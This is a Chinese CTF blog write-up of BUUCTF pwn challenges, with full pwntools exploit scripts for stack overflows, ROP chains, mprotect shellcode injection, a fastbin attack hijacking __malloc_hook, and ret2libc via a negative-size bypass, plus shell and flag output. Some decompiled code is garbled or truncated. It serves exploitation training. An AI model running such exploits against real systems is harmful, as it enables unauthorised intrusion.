Y
今天你pwn了吗
前言:
"二进制太难了", 一起到 buu 开始 刷题吧。这里 仅记录下非高分题目的解题思路和知识讲解。特别是文章里的函数,我特意整理了下,希望我能在二进制路上走远!!!
固定布局 工具条上设置固定宽高背景可以设置被包含可以完美对齐背景图和文字以及制作自己的模板
not_the_same_3dsctf_2016
在这之前我们先来看下几个函数吧:fgets 和fread 函数以及 mprotect 函数。
fgets
函数原型:char * fgets ( char * str, int num, FILE * stream );
函数功能:
从流中读取字符,并将它们作为C字符串存储到str中,直到已读取(num-1)个字符或到达换行符或到达文件末尾(以先发生的为准)。
换行符使fgets停止读取,但是该函数将其视为有效字符并包含在复制到str的字符串中。
复制到str的字符后会自动附加一个终止的空字符。
请注意,fgets与gets完全不同:fgets不仅接受流参数,而且还允许指定str的最大大小,并在字符串中包括任何结尾的换行符。
fread
mprotect
然后 我们来看下这题的程序逻辑。gets 输入后就结束了。
但我们可以看到程序中有个 get_secret()函数,乍一看是后门函数,但并不是。
思路一:
而是 将 flag.txt的内容放到了 bss:0x080ECA2D 地址里。我们可以通 rop的方式 先执行下 get_secret将flag放入bss段上,然后程序中含有write函数,我们 可以再rop到 write函数上来将flag给输出出来。我们写出exp:
拿到 flag:
思路二:我们也可以用shellcode的方式。因为程序开了NX保护,我们没办法把它输入到栈中去执行shellcode,所以我们看下 bss 段上。
bss段上 可读可写,然后程序中也有 mprotect 函数和 read函数 ,所以我们尝试 ROP的方式先通过mprotect 函数来将 bss段所在的内页页 改为可可读可写可执行,然后我们再通过read函数往bss段上写shellcode,最后将执行流返回到bss即可拿到shell。exp如下:
from pwn import *
from LibcSearcher import *
#context.log_level="debug"
p=process("./not_the_same_3dsctf_2016")
elf=ELF("./not_the_same_3dsctf_2016")
p=remote("node3.buuoj.cn",29610)
#gdb.attach(p,"b *0x80489fb")
mprotect_addr=elf.sym["mprotect"]
print hex(mprotect_addr)
read_plt=elf.sym["read"]
print hex(read_plt)
pop_3_ret=0x080483b8
pop_ret=0x08048b0b
m_start=0x080EB000 #bss ye
bss= 0x080EBF80 #bss
print hex(m_start)
len=0x2000
prot=4+2+1 #(rwx)
#ropper --file not_the_same_3dsctf_2016 --search "pop|ret"
'''
0x080483b8: pop esi; pop edi; pop ebp; ret;
'''
payload_1="a"*0x2D+p32(mprotect_addr)+p32(pop_3_ret)+p32(m_start)+p32(len)+p32(prot) #mprotect(m_start,len,7);
payload_1+=p32(read_plt)+p32(bss+0x400)+p32(0)+p32(bss+0x400)+p32(0x100)#read(0,m_start,100)
p.sendline(payload_1)
raw_input()
payload_2=asm(shellcraft.sh(),arch = 'i386', os = 'linux')# shellcode len is 40
p.sendline(payload_2)
p.interactive()
拿到flag:
babyheap_0ctf_2017
哈哈,没想到这么快就到堆题了。我们首先检查下文件属性和开启的相关保护。
保护全开的64位动态链接的 elf 程序。因为开启了Full RELRO,我们无法 改 函数的got,所以我们可首先考虑通过修改__malloc_hook的方式 为 onegadget 。
我们先来分析下这个程序吧。main()函数:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v4; // [rsp+8h] [rbp-8h]
v4 = sub_B70(); //v4是用来 结构数组 首地址,通过mmap获取
while ( 1 )
{
metu(); // puts("1. Allocate");
// puts("2. Fill");
// puts("3. Free");
// puts("4. Dump");
// puts("5. Exit");
// return printf("Command: ");
sub_138C();
switch ( (unsigned __int64)choice_14F4 )
{
case 1uLL:
add_D48((__int64)v4);
break;
case 2uLL:
edit_E7F((__int64)v4);
break;
case 3uLL:
free_F50((__int64)v4);
break;
case 4uLL:
dump_1051((__int64)v4);
break;
case 5uLL:
return 0LL;
default:
continue;
}
}
}
sub_B70()函数:v4是用来结构数组首地址,通过mmap获取,简单看下就好:
char *sub_B70()
{
int fd; // [rsp+4h] [rbp-3Ch]
char *addr; // [rsp+8h] [rbp-38h]
__int64 v3; // [rsp+10h] [rbp-30h]
unsigned __int64 buf; // [rsp+20h] [rbp-20h]
unsigned __int64 v5; // [rsp+28h] [rbp-18h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts("===== Baby Heap in 2017 =====");
fd = open("/dev/urandom", 0);
if ( fd < 0 || read(fd, &buf, 0x10uLL) != 16 )
exit(-1);
close(fd);
addr = (char *)((buf
- 93824992161792LL * ((unsigned __int64)(0xC000000294000009LL * (unsigned __int128)buf >> 64) >> 46)
+ 0x10000) & 0xFFFFFFFFFFFFF000LL);
v3 = (v5 - 3712 * (0x8D3DCB08D3DCB0DLL * (unsigned __int128)(v5 >> 7) >> 64)) & 0xFFFFFFFFFFFFFFF0LL;
if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
exit(-1);
return &addr[v3];
}
程序功能 metu()函数 :
Allocate (add)函数:输入 size,最大为 0x1000,然后 calloc(size),因为是calloc函数,会对申请到的内存进行清零处理。
我们在这里看以看出每个结构体的结构为(每个结构体 0x18大小):
放个图片 便于理解:
Fill (edit)函数:输入下标index,然后 再输入 我们 要 填充的content 的 size,注意这里不是我们在 Allocate (add)写入的 size,而是重新输入的size,所以我们在这里可以出入任意长度的 content,存在堆溢出漏洞!
__int64 __fastcall edit_E7F(__int64 a1)
{
__int64 result; // rax
int index; // [rsp+18h] [rbp-8h]
int content_len; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
index = result;
if ( (signed int)result >= 0 && (signed int)result 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(0x18LL * index + a1 + 0x10), content_len);
}
}
}
return result;
}
*************************************************
unsigned __int64 __fastcall sub_11B2(__int64 a1, unsigned __int64 a2)
{
unsigned __int64 v3; // [rsp+10h] [rbp-10h]
ssize_t v4; // [rsp+18h] [rbp-8h]
if ( !a2 )
return 0LL;
v3 = 0LL;
while ( v3 < a2 )
{
v4 = read(0, (void *)(v3 + a1), a2 - v3);
if ( v4 > 0 )
{
v3 += v4;
}
else if ( *_errno_location() != 11 && *_errno_location() != 4 )
{
return v3;
}
}
return v3;
}
free()函数:这里没有漏洞。free 掉 chunk 后,对结构体上的所有数据全都清零 。
exp:因为存在堆溢出,我们可通过输入来控制下一个chunk的size,于是 我们可通过 fastbin attack中的 chunk extend 来进行泄露libc,和将__malloc_hook上 写入 onegadhet。
我在 exp 注释里,写下简单的注释,方便大家理解和学习。另外,建议大家可以看下这篇文章讲的 fastbin attack的几个经典 方式的详解:https://blog.csdn.net/Breeze_CAT/article/details/103788698
from pwn import *
context.log_level="debug"
p=process("./babyheap_0ctf_2017")
p=remote("node3.buuoj.cn",27220)
#elf=ELF("./babyheap_0ctf_2017")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size):
p.sendlineafter("Command: ","1")
p.sendlineafter("Size: ",str(size))
def edit(index,size,content):
p.sendlineafter("Command: ","2")
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Size: ",str(size))
p.sendlineafter("Content: ",content)
def show(index):
p.sendlineafter("Command: ","4")
p.sendlineafter("Index: ",str(index))
def free(index):
p.sendlineafter("Command: ","3")
p.sendlineafter("Index: ",str(index))
add(0x18) #0
add(0x68) #1
add(0x68) #2
add(0x20) #3 # 防止 和 top chunk合并
#gdb.attach(p)
edit(0,0x19,"a"*0x18+"\xe1") #0x70+0x70+1
#将 chunk 1的size 覆盖为 chunk 1 的size+chunk 2的size 再 +1
free(1)
# free(1)后 chunk 1 和 chunk 2 当成整体被放进了 unsigned chunk 中
add(0x68) #1
# add(0x68) 将unsigned bin 上的 整体chunk 给分割后 将 chunk 1 申请出来
# 然后 unsigned bin上只有一个 chunk 2,chunk 2 的fd 和bk 都指向 main_arena+0x88的位置
show(2)
# 泄露 libc 以及得到 相关的 函数 地址
p.recvline()
libc_base=u64(p.recv(6).ljust(8,'\x00'))-(0x7f5f083ecb78-0x7f5f08028000)
print "libc_base is "+hex(libc_base)
__malloc_hook=libc_base+libc.symbols['__malloc_hook']
__malloc_hook_0x23=__malloc_hook-0x23
one=[0x45216,0x4526a,0xf02a4,0xf1147] #one_gadget /lib/x86_64-linux-gnu/libc.so.6
#realloc_addr=libc_base+libc.symbols['realloc']
print "__malloc_hook is "+hex(__malloc_hook)
print "__malloc_hook_0x23 is "+hex(__malloc_hook_0x23)
#print "realloc_addr is "+hex(realloc_addr)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
add(0x68)#4 2
# 将再 unsigned bin 上的 chunk 给申请出来 便是 chunk 4,其实也是 chunk 2.
#gdb.attach(p)
free(4)
# 将 chunk 4(2) 放入 0x70 的fast bin中,但我们仍可通过 chunk 2对其进行控制。
edit(2,8,p64(__malloc_hook_0x23))
# 将 fd 给 edit 为 __malloc_hook_0x23
add(0x68) #4
#gdb.attach(p)
add(0x68) #5
#申请 两次 可把 函数 __malloc_hook的 0x70 大的chunk 给申请出来 chunk 5
payload="a"*0x13+p64(libc_base+one[1])
edit(5,0x13+0x8,payload)
#修改 __malloc_hook 为 onegadget
p.sendlineafter("Command: ","1")
p.sendlineafter("Size: ","32")
#
最后再 执行到 malloc的时候 就会 执行 onegadget,从而拿到shell。
p.interactive()
getshell
[HarekazeCTF2019]baby_rop
这题太简单了。64位elf程序,有system 和/bin/sh\x00 字符串。
scanf 输入的偏移是 [rbp-10h]所以我们写出以下 exp:
拿到shell。
$ python babyrop.py
[+] Starting local process './babyrop': pid 17225
[+] Opening connection to node3.buuoj.cn on port 26886: Done
[*] '/home/yangmutou/\xe6\xa1\x8c\xe9\x9d\xa2/buuctf/100/[HarekazeCTF2019]baby_rop/babyrop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
0x40048c
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
jarvisoj_level0
相比于最初的两题,这题简直是小菜啊!ida:
输入的偏移是 [rbp-80h],我们覆盖返回地址是 callsystem() 地址 0x400596 就好了。exp:
拿到flag:
[BJDCTF 2nd]one_gadget
64位elf程序,环境为ubuntu 19.04拖入ida:
***************** //最后一部分 ida 编译的不是很准确,我们看下汇编:
分析:程序在 init()函数中中 给了我们 printf 的函数地址,我们可通过它得到 libc 加载的基地址,从而可计算出 onegadget 在程序中的真实 内存地址。另外经过上面我在 ida 中的简单注释,我们可知道通过scanf 输入的数据,会被直接调用 ,所以我们输入 onegadget 可拿到shell。exp如下:
#coding:utf8
from pwn import *
p=process("./one_gadget")
p=remote("node3.buuoj.cn",28449)
elf=ELF("./one_gadget")
libc=ELF("./libc-2.29_64.so")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")#18
p.recvuntil("here is the gift for u:")
a=p.recv(14)
printf_got=int(a,16)
#0x7ffff7a0d000
print hex(printf_got)
printf_libc=libc.symbols['printf']
print hex(printf_libc)
base=printf_got-printf_libc
print hex(base)
#og=[0x4f2c5,0x4f322,0x10a38c] #18
og=[0xe237f,0xe2383,0xe2386,0x106ef8]#19
og=base+og[3]
p.recvuntil("Give me your one gadget:")
#gdb.attach(p)
p.sendline(str(og))
p.interactive()
拿到 flag:
jarvisoj_level2
直接写exp了:
from pwn import *
#context.log_level="debug"
p=process("./level2")
p=remote("node3.buuoj.cn",26830)
elf=ELF("./level2")
bin_sh=0x0804A024
system=elf.plt['system']
pd="a"*0x88+p32(0xdeadbeef)+p32(system)+p32(0xdeadbeef)+p32(bin_sh)
p.recvuntil("Input:\n")
p.sendline(pd)
p.interactive()
拿到shell:
$ python level2.py
[+] Starting local process './level2': pid 2049
[+] Opening connection to node3.buuoj.cn on port 26830: Done
[*] '/home/yangmutou/\xe6\xa1\x8c\xe9\x9d\xa2/buuctf/100/jarvisoj_level2/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
$ cat flag
flag{6b57cd2a-eee9-43f7-a4d1-59f549f84aef}
ciscn_2019_s_3
这题就很棒了。64位elf 程序,环境ubuntu 18.04而在这之前,我们首先看下 read(),write()的原型:
除此之外我们还要知道一下 syscall 系统调用。 关于这个知识的讲解ctf中关于syscall系统调用的简单分析
大家可以去看下,因为已经写过一个较完整的分析了,这里就简单总结下 知识干货吧:看下这个图:
以上是维基百科 对system的介绍(基于32 的系统调用):
这里总结下32位与64位 系统调用的区别:
接着我们分析程序拖入ida:
int __cdecl main(int argc, const char **argv, const char **envp)
{
return vuln();
}
************************************************************
signed __int64 vuln()
{
signed __int64 result; // rax
__asm { syscall; LINUX - sys_read } //read 系统调用
result = 1LL;
__asm { syscall; LINUX - sys_write } //write 系统调用
return result;
}
vuln 这部分我们还是看汇编吧: 32 ) return printf("No! That size (%d) is too large!\n", v2); printf("Ok, sounds good. Give me %u bytes of data!\n", v2); get_n((int)&nptr, v2); return printf("You said: %s\n", &nptr); } ****************************************************************** int vuln() { char nptr; // [esp+1Ch] [ebp-2Ch] int v2; // [esp+3Ch] [ebp-Ch] printf("How many bytes do you want me to read? "); get_n((int)&nptr, 4u); v2 = atoi(&nptr); if ( v2 > 32 ) return printf("No! That size (%d) is too large!\n", v2); printf("Ok, sounds good. Give me %u bytes of data!\n", v2); get_n((int)&nptr, v2); return printf("You said: %s\n", &nptr); }
我们来分析下程序。首先 我们输入下要输入的 size然后 再输入 size 字节的 数据,最后程序会输出 我们的 输入的 数据。
而这题的漏洞在 哪呢,我们首先知道 nptr 的偏移是 ebp-0x2C ,如果我们 要 覆盖 return addr 上的数据,至少需要 能输入0x2c+4+4 字节数据.而 这样的话 有 绕不过 第二个 if ,然而,我们看下int __cdecl get_n(int a1, unsigned int a2) 函数。这个 a2 就是我们开始输入的 要输入的 size 大小,而如果我们输入的 是负数,那么,负数一定是 < 32 的,而在int __cdecl get_n 函数中,它传参时是以无符号整数 传得参,即相当于a2是一个十分大的数。于是程序便会存在栈溢出漏洞。
程序中函数 printf 函数,我们通过它输出printf_got 地址,从泄露libc,然后返回到main 地址,程序重新执行,然后再将return addr 处给覆盖成 system ,另外控制下rdi为"/bin/sh"即可 。exp如下:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p = process('./pwn2_sctf_2016')
p = remote('node3.buuoj.cn', 25208)
elf = ELF('./pwn2_sctf_2016')
fmt_str = 0x080486F8
printf_plt = elf.plt['printf']
main_addr = elf.sym['main']
printf_got = elf.got['printf']
p.recvuntil('read? ')
p.sendline('-1')
p.recvuntil('data!\n')
payload = 'a'*0x30 + p32(printf_plt)+p32(main_addr)+p32(fmt_str)+p32(printf_got)
p.sendline(payload)
p.recvuntil('said: ')
p.recvuntil('said: ')
printf_addr = u32(p.recv(4))
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
system = libc_base + libc.dump('system')
str_bin = libc_base + libc.dump('str_bin_sh')
p.recvuntil('read? ')
p.sendline('-1')
p.recvuntil('data!\n')
p.sendline('a'*0x30 + p32(system) + p32(main_addr) + p32(str_bin))
p.interactive()
师傅们,今天你pwn了嘛!!!
高级栈溢出技术—ROP实战(fluff)
通过该实验学习ROP概念及其思路,了解高级栈溢出时需要注意的事项,并掌握解决方法,同时通过练习给出的关卡来增强实践能力。
http://www.hetianlab.com/expc.do?ec=ECIDd982-88e7-4338-9b86-c88c86e92a4e
渗透测试训练营
3个月掌握岗位核心技能
扫码报名